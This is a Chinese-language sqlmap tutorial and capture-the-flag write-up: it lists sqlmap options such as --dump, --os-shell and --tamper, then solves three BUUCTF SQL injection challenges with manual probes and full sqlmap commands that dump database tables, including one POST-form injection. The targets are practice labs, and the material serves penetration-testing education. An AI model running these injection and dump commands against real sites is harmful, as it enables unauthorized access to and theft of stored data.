1.什么是sqlmap?
sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。 它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
2.SQLMAP命令大全
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
--tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
--delay 设置多久访问一次
--os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
--level 设置注入探测等级
--risk 风险等级
--identify-waf 检测防火墙类型
--param-del="分割符" 设置参数的分割符
--skip-urlencode 不进行url编码
--keep-alive 设置持久连接,加快探测速度
--null-connection 检索没有body响应的内容,多用于盲注
--thread 最大为10 设置多线程
3.实例操作
以BUUCTF里面SQL注入题目为例:
1.[第一章 web入门]SQL注入-1
首先我们需要先确定这是个数字型的注入还是字符型的注入。
输入:
?id=1 and 1=1
?id=1 and 1=2
我们可以发现页面并没有变化:
输入:
?id=1’ and 1=1
?id=1’ and 1=2
页面出现变化,所以可以确定这是一个字符型的注入。
接下来我们使用sqlmap:
sqlmap -u"http://b8719851-b878-4bc5-bd11-610f1ad91d1d.node5.buuoj.cn:81/index.php?id=1" --random-agent
这个数据库是MySQL
sqlmap -u"http://b8719851-b878-4bc5-bd11-610f1ad91d1d.node5.buuoj.cn:81/index.php?id=1" --random-agent --dbs
sqlmap -u"http://b8719851-b878-4bc5-bd11-610f1ad91d1d.node5.buuoj.cn:81/index.php?id=1" --random-agent --current-db
使用–current-db可以帮助我们更快的确定当前数据库
SQL注入的流程都是爆库,爆表,爆字段。接下来就是爆表:
sqlmap -u"http://b8719851-b878-4bc5-bd11-610f1ad91d1d.node5.buuoj.cn:81/index.php?id=1" --random-agent -D note --tables
爆字段:
sqlmap -u"http://b8719851-b878-4bc5-bd11-610f1ad91d1d.node5.buuoj.cn:81/index.php?id=1" --random-agent -D note -T fl4g --dump
2.[第一章 web入门]SQL注入-2
Url: http://dbbb019a-f45b-474c-a203-629a10fd23be.node5.buuoj.cn:81/login.php
首先查看源代码:
Url:http://c24ba25f-b412-4f84-88c0-f32f1b685f16.node5.buuoj.cn:81/login.php?tips=1
用BP抓包:
这应该是一个表单提交类型的注入。所以我们应该使用sqlmap的–data参数。
sqlmap -u “http://c24ba25f-b412-4f84-88c0-f32f1b685f16.node5.buuoj.cn:81/login.php?tips=1” --random-agent --data “name=admin’&pass=admin’” --current-db
sqlmap -u “http://c24ba25f-b412-4f84-88c0-f32f1b685f16.node5.buuoj.cn:81/login.php?tips=1” --random-agent --data “name=admin’&pass=admin’” -D note --tables
sqlmap -u “http://c24ba25f-b412-4f84-88c0-f32f1b685f16.node5.buuoj.cn:81/login.php?tips=1” --random-agent --data “name=admin’&pass=admin’” -D note -T fl4g --dump
3.BUU SQL COURSE 2
SQL注入的关键就是要找到注入点,应该多多网络监视器,如果是做CTF题目的话,要有查看源代码的习惯。
Url: http://1ab66f57-2e5f-446d-b668-53e656132f75.node5.buuoj.cn:81/backend/content_detail.php?id=1
sqlmap -u “http://1ab66f57-2e5f-446d-b668-53e656132f75.node5.buuoj.cn:81/backend/content_detail.php?id=1” --random-agent --dbs
还是常规操作,爆库,爆表,爆字段:
sqlmap -u “http://1ab66f57-2e5f-446d-b668-53e656132f75.node5.buuoj.cn:81/backend/content_detail.php?id=1” --random-agent -D ctftraining --tables
sqlmap -u “http://1ab66f57-2e5f-446d-b668-53e656132f75.node5.buuoj.cn:81/backend/content_detail.php?id=1” --random-agent -D ctftraining -T flag --dump